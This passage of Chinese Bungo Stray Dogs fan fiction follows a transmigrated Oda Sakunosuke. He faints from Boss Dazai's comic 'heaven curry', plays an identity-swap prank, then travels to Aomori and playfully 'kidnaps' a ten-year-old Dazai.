首领宰幽幽的注视着这一切,误会了我的反应,仿佛终于从哪里出了一口恶气似的。他微笑了一下,细长的手指灵巧的解开了长毛巾,帮我解放了双手,心满意足的轻描淡写把刚才的试探略了过去: “只是开个玩笑——织田作的反应真是有趣。再天然的性格,到这种时候也会为难吗?” 他幽幽的持续说着,看起来昨晚被我折腾出的怨气不轻。 我没有回答,解开腿上绑着的装饰绳后看似淡定的走进了洗手间。 ……这也太刺激了。 我不是织田作之助本人那个天然,经历过现代熏陶的我满脑子都是各种《》,##和%@&*啊。 等我收拾好一切,平复了心情再出去的时候,偌大的卧室里已经空无一人了。 我看了看厚厚的地毯尽头的门,权衡了几秒钟,才走过去转动门把手。 门外,是熟悉的宽阔首领室的模样,长长的办公室尽头的桌子后也是空荡荡的,但侧面一张桌子前还坐着一个熟悉的少女,她长发披肩,侧脸温柔秀美,穿着干练的黑西装,正在快速处理着文件。卧室门外还有两个穿着黑西装的守卫,笔直的站着,双手都背在身后。 “首领很快回来,请大人在这里稍等。”其中一个护卫听到动静回头,恭敬的对我低下头。 他长得有些脸熟,我看了几秒钟,认出来这是某一次中也先生不在时陪着首领宰的护卫。 我点点头,本来还想问太宰去做什么了,但太宰也许不会告诉他们。 我转过头环视了一周,放空头脑找了张椅子坐下等着了。 “……”好神奇。 在这个肃穆又经典的地点,我本来该紧张的。 但一想到这里是首领宰日常生活的地方,我只剩下放松和平静了。 时间一分一秒的过去,偌大的首领室里静的惊人,墙上没有悬挂着时钟,所以连指针摆动的微弱动静都没有,隐隐只能听到小银在翻动纸页的声音。 我很有耐心的打量着这一切,想象着巨大落地窗被完全敞开的样子会有多醉人美丽,那将是可以俯瞰整个横滨的死亡美景,而不是像现在这样,常年被笼罩在厚重的钢板玻璃之后,只剩一地黑暗。 可惜了,在Beast线里,我几乎没有机会看到这一幕。 也许在其他世界里可以去看看? “砰。” 门突然被大力推开了。 太宰治稳稳地走了进来,推着一辆推车,上面用盖子盖住了什么东西:“织田作,猜猜我做了什么?” 房间里的芥川银和护卫们继续做着属于他们的工作,头都不带转动一下,连眼神都没有移位。但我能感觉得到,他们虽然没有望过来,但这个房间里所有的注意力和呼吸,此刻都停留在了我的身上。 ——他们在暗中好奇的关注着,首领和友人在做什么。 这非常罕见。 “唔……”我的鼻尖闻到了一缕十分奇特霸道的气味,在闻到的那一瞬间就接近了失灵,那股气味完全攫住了我的心神,让我的大脑空白,我说不出话了。 太宰径直把推车推进了卧室里,示意我跟着进去,他没有当着其他人的面耍猴戏的兴趣,我也没有。 或者说,我还意识到了太宰这一刻的恶趣味。 得不到的答案对三个人来说,足够他们抓心挠肺好久了。 严丝合缝的关上卧室门之后,首领宰不再隐藏了。 “锵锵。”他伸出缠着绷带的手臂,在掀开盖子的时候活泼的配了个音效,“这是织田作不在的时候,我新研发出的食物——天堂咖喱饭!” 被揭开的盖子下,有一盘不可名状之物。 “……?” 我摇了摇脑袋,努力把幻觉从眼前赶走。 热腾腾的蒸气,白花花的米饭,还有……熔岩火山般的红色咖喱酱汁,流淌着从米饭的四处坠下,好像是地狱恶鬼的挣扎哀嚎,又像是一副活生生的浮生百绘图。 幻觉,又卷土重来了。 我更用力的晃了晃。 首领宰的眼眸弯起一个温柔的弧度,其中亮亮的,兴奋说着:“这道菜好吃到只要尝上一口,就能体会到上天堂的滋味哦!” “可惜安吾在忙呢,听说我研发了新的菜品,忙得不可开交,没办法过来品尝……真是太可惜了。”首领宰说这段话的时候意味不明。下一刻,他的鸢色眼眸期待的转向了我:“织田作?” 我不相信首领宰会这么轻松地放过安吾。 不过这个不重要,现在更重要的是,我很好奇这道菜会有什么样的滋味。 “啊。”我应了一声,拿起放置在旁边的勺子,好奇的舀了一勺,放入口中。 绷带青年聚精会神的凝视着我的反应。 我:“……” 当啷。 是勺子掉落的清脆声音。 “织田作?”首领宰的声音轻轻的,像是怕惊动了我。 我:“…………” 在咖喱饭入口的那一瞬间,我的大脑一片空白。嗅觉与味觉来不及发出哀嚎,就已经阵亡,我在这一刻体会到了,什么叫做“眼珠子都飞了出去,牙齿都融化了”的好吃程度。 那一瞬间,我的喉咙停止了工作,灵魂似乎已经从脑袋中挣脱束缚飞了出去。至于它飞的方向,那是一片纯白,又怎么不能称上一句“天堂”了呢? 再往后,我已经什么都想不到,思维戛然而止了。 “织田作?”首领宰看着石化了一样的红发男人,试探性的戳了一下他的肩膀。 红发男人应声倒下。 安详的躺在地上的样子像是已经走了有一会儿了。 太宰治笑了一声,自己也坐下欣赏的品尝了一口咖喱饭,把自己同样送进了梦乡。 等到几小时后,察觉到不对的芥川银谨慎的敲门进去,看到的就是横七竖八倒着的两具“尸体”。 芥川银:“……!” 大惊失色。 …… 托首领宰的福,等我再次醒来的时候,已经是第二天的下午了。 熟悉的床上,熟悉的天花板,还有同样饿得翻江倒海的胃部,隐约有一丝刺痛。这种感觉,比醉酒第二天醒过来还难受。 “……”我难受得呻吟了一声,艰难的撑着身体坐起来。 旁边躺着的是安详躺尸的首领宰,平静到让人想要去探探他的呼吸还在不在。 “天堂咖喱饭……”我捂着胀痛的脑袋喃喃。 恐怖如斯。 带着困意的熟悉鼻音响起:“织田作觉得还有哪里需要改进吗?” “有。”我郑重其事的握住了首领宰的手,盯着他的眼睛认真拜托着说,“吃上第一口就会昏厥过去,没有办法饱腹的这一点务必进行改进。” 这样一来,整份咖喱饭不就浪费掉了吗?再醒过来的时候饿着肚子的滋味也很难受。 首领宰用一只手撑着侧脸,侧过身来兴致满满的点着头,然后话音一转,“我有想法了,不过……在改进之前,织田作,怎么能让安吾——逃过去呢?” 我默默看了一眼这张两天没起来过的床,毫不犹豫点头赞同:“你说得对。” 两天后,因为没有办法把安吾坑骗去lupin酒馆,首领宰遗憾的只把目标放在了另外一个织田作身上,并且拜托我去把他带来。 毕竟,天堂咖喱饭是专门为“织田作之助”研发的美食,另一个织田作之助吃不到不就太可惜了吗? 这天的傍晚。 自由轩餐馆的玻璃门上被落日的余晖镀上了一层金灿灿的光芒,遮掩了外面的景色。 “唰。”有人推开了门。 室内好闻的食物香气前仆后继的涌了出去,胖老板刚想招呼两声,刚到嘴边的话就被咽了回去,脸上只剩惊愕。 绷带青年坐在一张餐桌前等待着,面前摆着还冒着余热的一杯咖啡,从容的样子像是坐在自己家里,肩膀松弛放松。看到胖老板的异样反应后,他意识到了什么,侧身回过头—— 出现在门口的,是两个织田作之助。 一模一样的红头发,一模一样的面瘫木讷神色,还有相同的黑色条纹衬衣,耐磨的宽松裤子,微鼓的腰间枪//带。 首领宰神情微凝。 出发前的织田作—— 他指的是、与他一样有‘书’的那个织田作,出发去找另一个织田作时,穿得还不是这一身衣服。 结论只有一个了。 绷带青年缓缓抬起眼帘,清醒沉寂的眼瞳中闪过了一抹措手不及的茫然,连长长的眼睫毛都微颤了一下,有一瞬间的无措。 那副模样让首领宰看起来还有一种怔愣的无辜感。 [这是两个织田作之助准备和太宰治玩游戏。] ——那么,猜猜谁是谁?- 作者有话说: 好迫害的无赖派日常hhhhh《 》 60-70 第61章 有心人窥探横滨 两个红发男人就这样走进门, 一个字都不吐露出口,默契的并排站在了太宰治面前。 织田作之助先说:“猜猜看。” 我跟着点头。 这很有趣。 首领宰想拉织田作先生下水尝尝咖喱饭,在那之前——我的恶趣味涌上来了, 为什么我和织田作先生不能先捉弄太宰呢? 我早就想这么玩了。 听完了我的计划的织田作先生欣然答应,连半点犹豫都没有, 在家里把他的衣物武器借给了我。 全程听着我们在做什么的芥川龙之介本来在苦大仇深的写作业,听完就变成了大受震撼的目送我们出门。 没想到还能这么玩。 餐馆里。 环视着我们的首领宰:“……” 黑衣男子眉头略锁, 不动声色的坐直了身体,双手在身前合拢。这是他习惯思考的姿势。他鸢色的目光转眼间变得认真专注, 拿出了全部的专注力玩起了这个游戏。 我安静盯着他。 第一, 首领宰一定会观察我们的呆毛。众所周知, “织田作之助”本人是一个天然黑的男人, 但相比之下我的呆毛晃动频率比这一位织田作之助高。 所以我在今天特地控制住了。 第二,织田作先生在刚才率先开口询问了。 一般来说, 这件工作都是由我进行的, 首领宰该怀疑开口的人是我。但首领宰一定也怀疑,我们故意交换了发言顺序,导致没开口的人才是我。又或者, 为了应对他的第二层猜测,所以故意反过来行动, 其实最先开口的人还是我。或者织田作先生过于天然并不擅长计谋, 所以发自本心第一个询问的人不是我而是他。或者因为看过了[书]的我懂得筹谋, 故意提议让织田作先生第一个开口…… 虽然太宰治一言不发, 细长的手指在身前合拢一处安静思考着。但餐馆里的空气都仿佛胶着着凝固了, 这短暂的几秒时间内,我看得出来,他聪明的脑瓜里一定想了许多东西, 又一一推翻了自己的结论。 与其说这是一个猜测的问题,不如说这是太宰治和自己的聪明才智搏斗的问题。毕竟情况有很多,首领宰会根据我们的想法深浅极限去判断揣摩我们采取了哪一种做法,又思忖自己是否想的太过深入,聪明人反被聪明误…… 我在心里偷笑起来,像是酷暑的夏天喝了一大杯冰水那样痛快。 ——能够说服织田作之助先生一起玩这个捉弄人的游戏,不就是因为想看到首领宰这副全力运转大脑思考的反应吗? 我和织田作先生对视一眼,两双蓝眼睛里全是心满意足。 首领宰眸光微闪。 “正在照顾芥川君的织田作,是这边。”他轻飘飘的视线转向了织田作之助,然后又望向我,“你是已经尝过了天堂咖喱的织田作。” “太宰怎么认出来的?”织田作之助疑惑的问。 我往旁边一扫,他的呆毛也蔫了。 连胖老板都顾不上备菜了,聚精会神的站在后厨窗口探头探脑,吃瓜中。 出乎我的预料的,首领宰发现我们区别的原因在很细微的地方——他起身凑近,指向了织田作之助袖口上的一点墨渍:“织田作最近在练习写一些稿子吧?” 织田作之助承认:“我翻看了许多名著,但是对于怎么动笔还是没有头绪。” 所以他写出了很多废稿,到现在都没有可以拿给朋友看的东西。 我提出异议:“你知道我身上的衣服是换过的。织田作先生把他的衣服和武器给我换上了,如果刚好是我穿到了这件衣服呢?” 首领宰不置可否,他灵巧的绕到我身边,捧起我的右手——准确的说,他的视线落在了我的中指和食指上: “你们的茧子分布也不一样。” 我的身体来自于三次元的[书]对于“织田作之助”这个概念的重塑,也就是说等于二十三岁的织田作之助,我的手指上已经有写作几年的薄茧。 但是Beast世界线的织田作之助现在却还没有练习到手指有了茧子的程度。 所以—— 拥有多个世界记忆的首领宰,只要略一思索,就会明白我们两个谁是谁了。 “原来是这样。”织田作之助有些怔愣的恍然,看了看他自己手掌上的枪茧。 真相分明,我的呆毛终于不用忍了,当场垂落。 唉,还是没有刁难到首领宰。 我有些惋惜,但是很快又重新打起了精神—— 下一个捉弄目标,织田作之助近在眼前了! 餐馆里的氛围又和缓了起来。 首领宰心情愉快的坐回了座位上,不加掩饰他的好心情,托着下巴放松的问;“我改良了天堂咖喱的味道,织田作——两个织田作,一起尝尝吗?” 随着他的邀请,等候半天的胖老板一手一个托盘,最后在桌上放下了三盘热气腾腾的咖喱饭。 “你们慢慢吃。”不知道为什么,胖老板离开时的脚步有些虚浮。 我疑问的眼神从那盘看起来非常正常的红色咖喱饭上转到太宰治脸上。 “我取用了‘活力清炖鸡’的效果——这一次,差不多吃完整盘咖喱饭的时间,效果才会发作。”首领宰十分有兴致的解说着,缠着绷带的手虚空托着咖喱饭的样子。 ……换句话说,岂不是我们要忍受着那种上天堂一样的感觉吃完整盘饭才能昏过去?! 我一时间说不好哪个更恐怖。 但是看着这盘普普通通模样的咖喱饭,一点都不见上次时的恐怖景象——还是返璞归真的咖喱饭更恐怖!首领宰的料理水平步入巅峰了啊。 我看向织田作先生,他面色不变,听得却仿佛很有兴趣,拿起了勺子略微搅拌了一下,就填了一口放进嘴里。 他的动作骤然顿住了。 后台的胖老板、我和首领宰一起盯紧了他的反应。 下一刻,织田作之助僵住的动作像是生锈的齿轮那样,慢慢恢复了运转。他缓慢而平静的继续一勺一勺把食物放入口中,混合着岩浆一样颜色的辣味咖喱酱汁和牛肉土豆块在温暖的光线下晕染出美味的滤镜。 红发男人不语,只是一味地咀嚼,咽下,再舀起来一勺。 “织田作……?”首领宰不大确定的问了他一声。 我看着红发男人机械的安静吃着咖喱饭,除了动作迟缓了点,咀嚼的模样好像没有什么不对劲的,忍不住迟疑。 不愧是织田作之助本尊,这么厉害吗?! 是我修行还不够啊。 不过,好像还是有哪里奇怪。 我把一只手搭在了织田作之助紧实的肩膀上,轻微晃了晃:“织田作先生?” 红发男人被我推得轻轻摇晃,却没有任何反应,还是在机械式的进食,蓝色的眼眸里一片放空,看不出任何情绪。 “这是已经昏过去了吗?!”缩在后面观察着的胖老板彻底绷不住了,震撼脱口而出。 他一直知道织田酱的这个朋友比较特殊,这一次说了要借用餐馆的材料做咖喱饭,胖老板就没忍住上了心,偷偷关注着情况。但是做出来的这份咖喱…… 这么恐怖?! 首领宰有些拿不准的用了评价的口吻:“织田作吃完了这份饭才会昏过去吧。” ——但是似乎已经失去意识了啊。 我:“……” 这就是首领宰改进后的办法吗?我担心只吃一口就昏过去太浪费,现在变成了填饱肚子再昏过去,中间也不会有意识……反而是另外一种程度的恐怖呢。 没过一会儿,吃得差不多的织田作之助摇晃了一下,安静的握着勺子闭目倒下了。 我和首领宰对视一眼,我握住勺子礼貌的说了一句:“我开动了。” 这一次,我也如愿以偿的很快失去了意识。 …… 再次醒来的时候,是一个凌晨,天色还没有转亮。 我吃力的支起上身查看周围。 是熟悉的二楼房间。 一切布置都像是我离开前的样子,只是地上并排放置着三床被褥,揉着太阳穴有些憔悴的织田作之助坐在窗边,神色罕见的有些半死不活。地铺上,太宰治安详的还在不省人事。我刚从被窝中起来。 墙上挂着的日历显示,我距离吃咖喱饭的日子又睡过去了一天,现在是第二天的凌晨了。 我有点无言了:“……” 好嘛。 我总共回来Beast世界五天。 第一天喝得酩酊大醉,醉到第二天刚醒,吃咖喱饭晕厥到了第三天,第四天又吃咖喱饭,晕到了第五天。 怪不得回来快一周了,我的记忆少得可怜,全是晕着过的啊。 “咖喱饭很好吃,要是不会昏过去就更好了。”织田作之助这次看起来也被折腾的不轻,看到我醒了,他回味着给出了他的建议。 我情不自禁点了点头,达成了一致。 看来织田作先生很喜欢天堂咖喱饭的味道,所以才这么遗憾副作用,我也是啊。 织田作之助挂着两个黑眼圈又解释:“是老板辛苦,昨晚把我们都送了上来。中间安吾来了一趟。” “安吾?” 这句话是首领宰问的。他也醒了,同样一脸萎靡的瘫在地铺上,不愿意起来,模样像是宿醉的时候被人围殴暴揍了一顿。 “嗯。”织田作之助想了一下,复述了安吾转达的口信,“他说,异能特务科最近很忙,有外地的异能团体组织在打探横滨的消息。” 这句话刚出,首领宰还带着困意的眼底再也没有一丝倦怠了。他眼神清醒,语气中不含一丝情绪的说:“这件事港//口/黑//手党会处理。” 我眼含疑问的看向首领宰。 不要紧吗,太宰? 对于有[书]的我和首领宰来说,我们心知肚明,这是那些有心人想来横滨打探[书]的存在、所酿成的又一轮风波前兆。 “织田作放心的出门。”太宰治的视线扫过我,落在窗外的方向,似乎已经有了什么计划,语调耐人寻味起来,“中也该锻炼了。” 我的心脏缓缓落地。 我不意外首领宰又一次猜到我想出发的意图了。而且,看来首领宰已经有了计划,为此还可以一箭多雕磨练中也先生。 我就不留下妨碍首领宰搅弄整个横滨的局势了。 织田作之助也有这样的自觉,他看向我:“又要出差了吗?太宰这边……” 最近的太宰应该没空和他见面了,这样他还算是帮忙带孩子吗? 首领宰目光微沉,周身环绕的气场强了起来,没有半点避讳的意思看他:“我们的关系不用避开。” 名叫织田作之助的男人已经和港//口/黑//手党沾上边再也扯不开了,首领宰最初的计划已经乱成了一团糟,没办法把人彻底排除在外保护。那么风波到来的时候,在港//口/黑//手党这张庞大的羽翼下,才能更好的庇护友人。 如果拥有了[书],看过了万千个世界结局,又不想以最极端困难的方法制定完美计划去寻死了的太宰治,还是保护不了友人——他也就不是太宰治了。 我回头看了一眼红发男人,心里彻底安稳下来。 这一次,“织田作之助”身边收养的孩子是芥川龙之介。 如果还是有人打上了他的主意,结局也不相同了。 “等我再回来,天堂咖喱饭要是晕的时间不那么久就好了。”我委婉的提出了新建议,强烈暗示着首领宰,“这一次回来没有见到安吾,将来和安吾一起吃。” 织田作之助和首领宰一起下意识的点了头。 红发男人是发自内心的认为天堂咖喱饭好吃,首领宰高兴我提出改进建议还来不及,估计只有不在场的安吾会全身心抗拒恐怖的新菜,但—— 等过了这次的风波,下次吃饭安吾无论如何也逃不掉了! 我收到了他们的保证,安心的取出发着光的[书],与友人们道别。 熟悉的光芒过后,我的身影消失了……- 作者有话说: 下一章就要去新的世界啦 第62章 青森县 我安静的睁开眼。 出现在面前的是一片郁郁葱葱的野生丛林, 远处有一条人踩出来的乡间小道,被宽阔的叶子斜倾出来挡住了大半。 这里不像是横滨。 我抬头看了看天色,眺望了一圈远处, 没找到标志性的大海与镭钵街。 要么时间线不对劲……要么地点不对劲。 鞋子踩在枯枝落叶上发出细碎的践踏动静。我走了一会儿,才离开了丛林的范围, 眼前是一个破旧落败的乡下村庄,河道里只剩浅浅的一层水, 行人无精打采的,穿着灰扑扑的。路边的路牌上写着“青森县”。 看到这块牌子, 我彻底明白了——这绝对不是主要时间段。 每一次我都会被[书]送到不同的世界, 借着关键人物作为锚点, 降落在附近。所以, 现在是早期时间,谁在青森县? 这个问题, 我不需要问任何人, 心中已经有了答案。 我翻开无声提示着我的书页,首领宰颀长的字迹缓缓浮现在上面,微微加重的笔迹带了点厌恶: [青森县, 是我幼年长大的地方。] [织田作,难道你要……] 披着红色围巾的太宰治幽幽注视着我、不愉又无法抗拒的冷漠模样仿佛跃然纸上。 我直截了当的问他: [不喜欢?] [太宰如果不想让我知道你幼年的事情, 我会离开青森。] 我从来没有忘, 我的目的是找到[书]。 早期时间线只是找起来更困难了。也许[书]就藏在幼年中岛敦的身上, 也许[书]已经在横滨的某个地方了, 在断定[书]在幼年太宰治身上之前, 我并没有一定要在青森县留下来的必要。 我只是,偏爱太宰治这个友人,心中又酝酿着那个洗刷计划, 我无法抗拒见面。 ——所以说出了以退为进的话语。 [……] 纸页那端的首领宰哑然沉默了。 我想。 也许在我坦然承认‘与不同太宰治见面是为了改变他的每一份记忆’前,首领宰会果断拒绝,以及不满我对其他太宰治的关注。 但在我承认之后…… [织田作去做自己想做的事情吧。] 经过了一番心理斗争,首领宰的话语似乎很平淡的这么写着。 我很高兴。 纸页上的这行字迹变相的暴露了他在吐露真心的行为。 毕竟没有一个世界的织田作之助与年幼的太宰治有过交集,阅览过万千世界记忆的首领宰能抵挡得了这样的诱惑吗?哪怕要承受的代价是,他不喜欢的幼年记忆被人所知。 我安心的准备合起笔记本,却看到首领宰最后匆匆地补充上了一句话,字迹略微潦草,是他的警告: [津岛修治,这是我抛弃不用的名字,过去的我性格非常难搞。] 说到这里就是极限了,我静静等了两秒钟,没等到后面更深入的剖析,就知道首领宰已经勉强到了极限,不会再吐露任何东西了。 事实是……首领宰会格外警告我这一句,已经让我惊讶了。 我把笔记本揣进风衣的口袋里,在微寒的晨风中散步,任由席卷起来的土尘沾染到我干净的鞋面上。 我想。 ——也许是因为首领宰不愿意看到我被冷待? 只是这个猜测,就让我浑身充满了被珍视的动力。 放心吧,太宰。 我没有再去笔记本上问个明白的意思,只是在心中无声的回答他。 不管幼年的太宰治有多难搞——我有的是力气和手段! …… 半天后。 我意识到,幼年太宰的确非常难搞。 津岛家族在青森县是当地的大族,族宅非常好找。 但是关于津岛家的小儿子津岛修治的事情,半点打听不到。我在附近的贵族学校里了解到,津岛家的长子作为继承人,总是跟随着父亲在外行走应酬,次子上了经济学院,在读商科有关的专业,成绩优异。但是往下数的几个孩子,查无此人。 没有人见过他们出门上学,外人只是知道津岛家有六七个孩子,靠保姆抚育,进行的是家庭教育。 所以我趁着天色昏暗过后,潜进了这栋陈旧又庞大的古宅。 花费了好些时间,我才寻找到了他。 ——我在其他世界中见过织田作之助收养的孩子,最大的幸介年龄九岁,模样和现在这个黑发的男孩差不多大。 这是一栋西式风格的豪宅,白墙上有着金黄色的装潢与木制的壁画,宽大的房间里光线昏暗,通往庭院的木门大敞着,庭院里却也没有太多好风景,只有寥寥的一片草丛,在秋天显得细弱而枯黄。 教师在这样的环境下用让人昏昏欲睡的语调,慢吞吞讲着枯燥无味的知识,差点让我也犯了困。教师不在乎阴影中的男孩学进去了多少,自顾自的沉浸在自己的世界里。 我听了一耳朵。 是很浅薄的数学,至少不像是九岁十岁这个年纪的孩子该学的知识。 阴影中的男孩木偶一样坐着,很规矩,手中有一搭没一搭的翻着书。他大大的眼睛里死寂无光,像是一个黑色的漩涡,好像是在注视着教师,又像是透过教师在看别的东西,或者什么都没有注视,单纯的在发呆。谁都不知道他听了多少或者没有听。这双眼睛里什么情绪都没有流露出来,比无机质的玻璃珠子还要黑暗,就像是深渊本身。 谁都不知道他在想什么。 这是十岁的太宰治。 ——和我想象的完全不同。 我安静的潜伏在庭院阴影里,沉默的思考着。 在穿越前我看过很多同人文,看过不少二创,了解过现实史料,对动漫里从没提过的太宰治幼年生活有一定的猜测——不管是哪种,他过得都不怎么样,也许因为年幼无法反抗,只能暂时选择忍耐;也许厌倦了世事却不知道还能去哪里;也许心智还没成熟,异于常人的聪慧却让他迷惘,渴望叛逆。 实际的情况也许是这些情况的混合,或者多少有相像的地方。不管是哪种,都有我可以趁虚而入的地方。 但见到这个十岁的男孩时,所有的猜测都从我的脑海中消失了。 年幼的太宰治脸上有着婴儿肥,长相也是聪明可爱的,黑色的卷发和鸢色眼眸继承了父母的好相貌,除了一双眼瞳死寂没有高光以外,我看不出半点忍耐或者麻木、顺从。他的身上也没有半点无助和迷惘,更无所谓稚气或成熟,只是…… 只像是个一切都无所谓的孩子。 所以当教师讲完了课,收拾书离开,房间里只剩下太宰一个人的时候,我决定再等等。 男孩从阴暗的地方起身,坐到了可以见到天光的地方,换了个放松的姿势趴着继续翻阅着手中的书。但他的翻阅仍然像是无聊打发时间的随手动作,视线没有聚焦到书上,从木地板上的一抹阴影一路看到庭院里我所在这边的墙沿。 我继续观察。 又过去了几个小时。 仆人引着太宰前去饭厅用餐,在那里我见到了其他几个男孩,津岛家的孩子各个长得很俊美,黑色的卷发和相似的眼瞳容貌,但神奇的是,我却无法把他们和太宰治的血亲联想到一处。 津岛家的长子与父亲坐在主厅的桌前,穿着西装打着领带,举杯微笑,稳重的谈论着出门所见的正事。次子坐在旁边不时附和,眼里全是钻营的机灵,脊背弯了一截,三人讨论得热火朝天。 其他的孩子们是没有在主厅用饭的资格的,他们都待在侧厅,由仆人侍候。 成熟的津岛家第三子低眉顺眼的吃着饭,已经学着兄长的样子装出了家臣该有的恭顺,时不时向主厅投去羡慕的目光。幼小的津岛家第七子还在贪玩,吃两口就低头偷看几眼袜子中藏着的弹珠,傻笑几下。太宰治冷漠的坐在兄长和弟弟中间,用筷子有一搭没一搭拨着煎鱼,剩下一簇米饭在碗里没动。 兄长向他搭话说了两句什么,似乎有些不满。 太宰治的态度不算多好,却也不差,男孩温声敷衍两句,才起身走了。兄长的不满就这么被安抚下去了,只瞧着他的背影多嘀咕了两句。 我疑惑的一路跟了回去。 最初的那个房间果然就是太宰治的卧室,他回来的时候走廊上已经亮起了灯,保姆打理好了床铺,笑呵呵的取出一摞书,跪坐着递过去:“修治,这些给你看,你平时不是很爱看书吗?这些枯燥的书不知道你怎么看得下去的……” “只是打发时间而已。”太宰治没有过多反驳,接过了那些大部头,细长的手指从烫金的字上轻描淡写的拂过,他的嘴角却确实弯了弯。 保姆慈爱的看着男孩的反应,转身告辞了。 我在墙头上趴得脚跟发麻了,脖颈后面冷飕飕的,夜风一凉下来,我就有些顶不住了,只能狼狈的在两只脚上倒换着重心站。 怀里的笔记本突然嗡嗡了,在提醒着什么,我低头摸出来看了一眼。 [他早就发现你了,织田作。] 我用牙关咬住笔盖,单手攀在墙头上伏下,在笔记本上姿势别扭的书写着: [我知道。] 首领宰潦草之下只来及点了两个墨点给我: [……] [——我在等他什么时候说出来。]我写。 我分辨不出来十岁的太宰治在想什么,如果有我这样的陌生外来者,就这样在暗中不停地观察着他,他打算什么时候说破?他会选择怎么做? 我很好奇年幼的太宰治会怎么做。 这也是我和太宰治的博弈。 首领宰停顿了一会儿,回我:[他不会的,织田作。] [我知道。] 我用同样的字迹回答- 作者有话说: 首领宰:? 第63章 绑架幼宰 这一偷窥, 就过去了四天。 太宰治比我想象的还有耐心,不管我怎么盯着他早起,读书, 消遣,泡澡, 睡觉,他都沉住了气没有半点反应。 到了第五天。 男孩直接把帮工们叫来了, 告诉他们,最近总有人在墙头偷窥他。 “修治少爷别怕, 我们陪着少爷。”几个帮工守在了院里, 两个妇人心疼的安慰着他。哪怕太宰治从头到尾都没有什么表情, 镇定的样子完全不像是被吓到了。 我没办法躲在原本的位置了, 只能苦恼的换了个方向,坐在房顶上听着他们交流, 心中叹息。 不妙啊。 我躲藏到现在, 是想看看太宰治的好奇心有多少。我猜测他在这么枯燥无味的生活中,也许会在意突如其来的意外,弄明白这个谜团。但是这个男孩完全没有上钩的打算, 他知道我在,却宁愿叫来帮工——他不怕惊扰走背地里的小贼的这种可能性。或许, 他也期待着背地里的人会主动跳出来暴露意图。 这个太宰治, 太难搞了。 ——然后我就在房顶上又躲了六天。(首领宰:……) 躲到帮工们什么都没找到, 津岛家恢复了平静, 躲到男孩又看了三天的书, 把保姆借给他浏览的那一摞书已经看完了。 这天的晚上,太宰治翻完了最后一页,对着空白的封底沉默了几秒钟, 他忍无可忍的抬起了头: “喂。” 男童独自坐在敞开着门的榻榻米上,像是在自言自语,脸上的表情却淡薄得像是要融化在夜色中了: “你故意跟着我,是想干什么?” [还是年纪太小了,沉不住气啊。] 首领宰在笔记本那头发出了哀叹。 早在几天前,他就和我打赌,猜猜这个幼宰能坚持多久不和我说话。如果是首领宰的话,他会永远不开口。我不知道答案,但我还是赌了,并且坚定的选择‘不会超过一周时间’。 现在,我赢了。 我沙色的风衣飘扬,从高处没有发出半点动静的跃下,笔记本被我塞进了口袋里,在接下来和幼宰相处的所有时间里,我不会再拿出笔记本和首领宰聊天。 因为我有一个计划。 …… 红头发的男人不言不语的走到庭院里,他的风衣扬起时,腰上鼓鼓的绑着什么,一闪而过。他的身手矫健,从房顶上下来也像是猫一样灵巧,没有惊扰到守在屋子外侧的帮工。他的虎口处,手指侧面都有厚厚的茧子,那是常年用枪的证明。但他的中指和食指上也有一层薄茧,又像是常年书写的人…… 太宰治冷静的仰望注视着这个男人,没有因为对方持枪而惊慌或者叫喊,眼中倒映出了所有的细节。 男人神色木讷,脸上没有别的表情,望向他的时候,那双没有波动的眼睛却像是在看熟悉的友人。 ——至少,那种视线绝不是在看陌生人。 太宰治眉头皱了一下。 “……” 我没有放任太宰治多想的意思,也不回答他之前的问题,只是举起枪对准他,打断了他所有的思绪,快刀斩乱麻的开口: “——我是来绑架你的。” 当初我这么举枪对着朝雾,现在我这么举枪对着太宰,说出的话也一模一样。 有种宿命感。 黑洞洞的枪口不是在开玩笑。 太宰治的视线盯着枪口,很仔细的看了半天,又抬头注视着我,用平静中多了点起伏的口吻说: “我只是个孩子,没办法拒绝你的绑架。现在叫喊还会被你杀掉,我没那么愚蠢。” 他甚至从榻榻米上捡起自己的围巾,乖觉的把两只手腕也递了过来,反问我:“要绑上吗?” 你都这么说了,我很难拒绝诱惑啊。 所以我把男孩从津岛家带走的时候,反绑上了他的双手,用纸团堵住了他的嘴巴,把他揣进风衣里,单手揽紧了,翻上墙头。 就这么轻松的离开了。 首领宰幽幽发来消息:[这就是你打赌一周内他无论如何都会和你说话的原因?] 逃跑路上的我没空写字,单手按住了被我裹在风衣里的孩子,应了一声:“啊。” 因为我早就计划在一周之内绑架太宰治。 等我再次停下的时候,已经是后半夜了。我跑出了很远,已经到了另外一个地方,双腿酸涩发软,轮流抱着一个十岁男孩重量的双臂也颤抖着支撑到了极限。 该休息了。 我把男孩放在河渠旁的一块石头前坐下,取下纸团,从口袋里摸出了Lupin酒馆的火柴盒,拢了一把枯枝落叶,点燃了火堆。 “吃吗?”我摸出了口袋里的两个饭团,问。 为了绑架太宰治,也为了保证这几天的生存,我并不是什么都没有做。 织田作之助先生教了我一些里世界的简单常识,例如怎么当邮递员赚日结的工钱。不需要花费多长时间,运气好,做一单都够我节省着吃好多天了。 ——而我只吃饭团,又没有别的花销,这些钱足够了。 男童盯着饭团问:“是金枪鱼的?” “是青花鱼的。”我回答。 太宰治忍了忍,面露嫌弃,却侧过身示意了一下自己的手腕还被牢牢绑在身后。 我没有半点勉强,去给他解了绑,但是我没有第一时间把饭团给他,而是先说:“曾经我也认识一个被照顾的少年。” 笔记本突然嗡嗡了起来,好像首领宰有什么急事,但我没空看。 “照顾?”太宰治狐疑的瞥我一眼,活动着他被勒红的手腕。 “少年受了伤不愿意接受治疗,吃饭的时候会捣乱,批评睡觉的环境太差,抱怨没有娱乐。”我继续说着。 “所以他被绑了起来,按时按点的一天喂三次饭,上两次厕所,读两个小时书,直到他不再抱怨。” 我中规中矩的威胁完,才把那个饭团交给男孩。 太宰治瞪着饭团的表情突然变得微妙起来。 而首领宰那边突然停止了任何动静,像是一下抽过去似的没声了- 作者有话说: 首领宰:…… 第64章 努力交朋友 我的威慑似乎达到了效果。 太宰治接过饭团后老老实实把它吃光了, 哪怕男童脸上带着点忍耐的嫌弃。 在寒冷的夜风中,有一小堆火光取暖,这让没穿鞋子的太宰治舒服多了, 他的肩头舒展,抿了抿有些起皮的嘴唇, 什么都没有说。 “到了城市里会有水喝的。”我保证的说。 男童含糊不清的用鼻腔哼了一声,当做答应。 他没有高光的眼睛在明明灭灭的火光倒影中注视着河渠, 似乎有些无聊了。 但是细看,会发现太宰治的眼神中没有感情, 没有任何含义, 他就只是在单纯的看着河水, 表情没有半点起伏。 这是我这几天来观察太宰治时, 他的最多反应。 “不问我要把你带去哪里吗?”我说。 “去哪里?” 